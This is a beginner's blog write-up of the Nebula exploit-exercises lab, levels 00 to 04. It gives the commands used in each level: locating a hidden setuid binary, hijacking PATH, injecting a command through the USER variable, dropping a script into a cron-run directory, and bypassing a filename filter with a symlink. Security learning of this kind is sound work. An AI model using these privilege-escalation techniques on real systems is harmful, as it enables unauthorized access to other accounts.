Jonatan Haltorp Blog

Nebula Exploit Exercises {00..04}

I’m pretty new to exploiting things on UNIX and I’ll do these challenges to the best of my abilities. We’re all beginners at some point right? :)

If you go to the website exploit-exercises, you will find a whole bunch of series of challenges which will train you in different ways of making computers do what you want.

I’ve completed some nebula-challenges in my own time & will briefly go through & explain how I solved the challenges.

The Nebula challenges are beginner-oriented & the only thing you will need is to download the ISO that they provide, boot it in a Virtual Machine (alternatively on your own computer of course) & give it your best shot! The learning-curve is alright & if you know your way around the command prompt it should be easy enough to wedge yourself through. A lot of the time, it boils down to getting execution of the code you want on the account you want, given you can sidestep a issue or gotcha.

So let’s fire up the ISO & exploit our way through these challenges, maybe we’ll learn a few things along the way!

level00

About

This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.

Alternatively, look at the find man page.

To access this level, log in as level00 with the password of level00.

We’re looking for a setuid binary, owned by flag00. So we need to find the parts about find that will help us with that. Considering I’m not super familiar with find (other than the occasional find -type f -name theThingIwantToFind), let’s fire up the manual for find & look around.

The flag -user followed by the username or the users numeric ID, will allow us to find files that the user owns. We’ll use -fprintf path/to/file formatting to print out the path of the file that find found (in this case, our formatting is "%p \n" which means we simply place the found files path followed by a newline-character to the output).

Did you get that? If not, let’s just try it, what could go wrong?

Logged in as level00, running the command find / \( -type f -user flag00 -fprintf /tmp/suids "%p \n" \) shows a whole bunch of error-messages telling us that we don’t have permission to read a bunch of files, that’s OK though, since we just shove the results we care about into /tmp/suids.

Next, we can simply look at our results, located in /tmp/suids & go from there.

$ cat /tmp/suids
/bin/.../flag00
/home/flag00/.bash_logout
/home/flag00/.bashrc
/home/flag00/.profile
/rofs/bin/.../flag00

Ahh yes, the “…“-directory within /bin, looks weird right? Let’s run it and rejoice that we successfully completed the challenge!

$ ls -la /bin/.../flag00
-rwsr-x--- 1 flag00 level00 7358 2011-11-20 21:22 flag00*
$ /bin/.../flag00
Congrats, now run getflag to get your flag!
$ getflag
You have successfully executed getflag on target account

level01

About

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01.

This level provides source code of file level1.c, listed below

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");
}

Looking in the home directory of user flag01, we can see some basic stuff like bash-configuration, along with a executable with the suid bit set.

$ ls -l /home/flag01/flag01
-rwsr-x--- flag01 level01 7322 2011-11-20 21:22 /home/flag01/flag01

Pro-tip: man is your best friend.

The manuals make it clear to avoid using the function-call if the executable is given suid privileges, and seeing how the previous function-calls involve getting & setting user and group IDs, we got ourselves a vulnerability.

Because we can just set our own environment variables & make the program do what we want (we want to execute getflag on the flag01 user-account).

The string “/usr/bin/env echo and now what?” might seem like a reasonable line of shell-code, but since the code is using /usr/bin/env, it’s trivial for us attackers to provide our very own environment variables.

$ mkdir /tmp/level01 && cd /tmp/level01
$ cp /bin/sh ./echo
$ cat << EOF > and
#!/bin/sh
/bin/getflag > out
EOF
$ chmod +x and

So what we did right there was to copy the executable sh into our directory & named it echo. We also created a very simple shell-script that will execute /bin/getflag and shove the output into the file out.

Now we just need to modify the PATH environment variable so that the setuid binary located in /home/flag01 will execute our version of echo, giving the file and as it’s first parameter. Basically we’re turning echo and now what? into sh ourScript now what?.

$ PATH=/tmp/level01 /home/flag01/flag01
$ cat out
You have successfully executed getflag on a target account

Huzzah!


level02

About

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02.

This level provides source code of file level2.c, listed below

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
  char *buffer;

  gid_t gid;
  uid_t uid;

  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  buffer = NULL;

  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  
  system(buffer);
}

This code is vulnerable to a similar exploit, since it’s basically reading from USER environment variable & passing it to the system function call. This time though, /bin/echo is being referenced by it’s absolute path rather than from some environment variable.

It’s a nice thing that the call to printf is there, it makes it easier for us to see what’s being called when we are trying to exploit the executable.

$ USER=hello /home/flag02/flag02
about to call system("/bin/echo hello is cool")
hello is cool

Sometimes when writing a shell-script, special characters are used whenever you want to separate command without breaking the line, or, depending if one execution was successful; execute another program. lot more other special characters used in shell programming; Like backticks!

Backticks are awesome, in shell programming they are used as a way to let the output of a executed program “fill” into your own command.

$ USER="\`/bin/getflag\`" /home/flag02/flag02
about to call system("/bin/echo `getflag` is cool")
You have successfully executed getflag on a target account is cool

It’s important to escape the backticks, so as we are not falling in our own trap. But there you have it.


level03

About

Check the home directory of flag03 and take note of the files there.

There is a crontab that is called every couple of minutes.

To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03.

there’s no source provided in this level

After logging in as level03, we’ll have a look around /home/flag03/.

$ ls -la /home/flag03
...
drwxrwxrwx 1 flag03 flag03  40 2011-11-20 21:22 writable.d
-rwxr-xr-x 1 flag03 flag03  98 2011-11-20 21:22 writable.sh
...
$ cat /home/flag03/writable.sh
#!/bin/sh

for i in /home/flag03/writable.d/* ; do
		(ulimit -t 5; bash -x "$i")
		rm -f "$i"
done
		

All the little shellscript does is run everything located in the writable.d directory & then deletes everything in the directory.

Execution of getflag on the target account is thus trivial.

  • Create the shellscript & make it executable
$ cat << EOF > /home/flag03/writable.d/a.sh
#!/bin/bash
getflag > /tmp/flag03_output
EOF
$ chmod +x /home/flag03/writable.d/a.sh
  • Wait for the shellscript to run & confirm that it worked.
$ cat /tmp/flag03_output
You have successfully executed getflag on a target account

level04

About

This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it :)

To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04.

This level provides source code of file level4.c, listed below.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>

int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;

  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }

  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }

  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }

  rc = read(fd, buf, sizeof(buf));
  
  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }

  write(1, buf, rc);
}

For reference, here’s a look at the directory.

$ ls -l /home/flag04/
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04
-rw------- 1 flag04 flag04    37 2011-11-20 21:52 token

The problem with the program as it’s defined above is the following line of code.

...
// strstr is used to locate a sub-string, 
// so we can't provide an absolute path to fool the program with.
if(strstr(argv[1], "token") != NULL) {
...
// We actually need read privileges on the file provided through args
// otherwise, things will blow up when we check fd for -1
fd = open(argv[1], O_RDONLY);
...	

And that’s the crux of the problem we’re faced with. Unable to access the file & on a train heading to frowntown, all aboard.

Unless, there’s a way of referencing the token-file without it’s name & somehow having read privileges on it.

What about links? We can create a link to reference the token-file & provided we don’t name it token, we should be OK, since we do have read-access to the link-file itself.

$ ln -s /home/flag04/token /tmp/lol
$ /home/flag04/flag04 /tmp/lol
06508b5e-8909-4f38-b630-fdb148a848a2
$ # Let's try authenticating as flag04 using that UUID as password
$ su - flag04
Password:
flag04@nebula:~ $ # YAY!
flag04@nebula:~ $ getflag
You have successfully executed getflag on a target account

Boom goes the dynamite!

Thank you for reading this post on the first 5 challenges in the nebula exploit series, I hope my ramblings were bearable!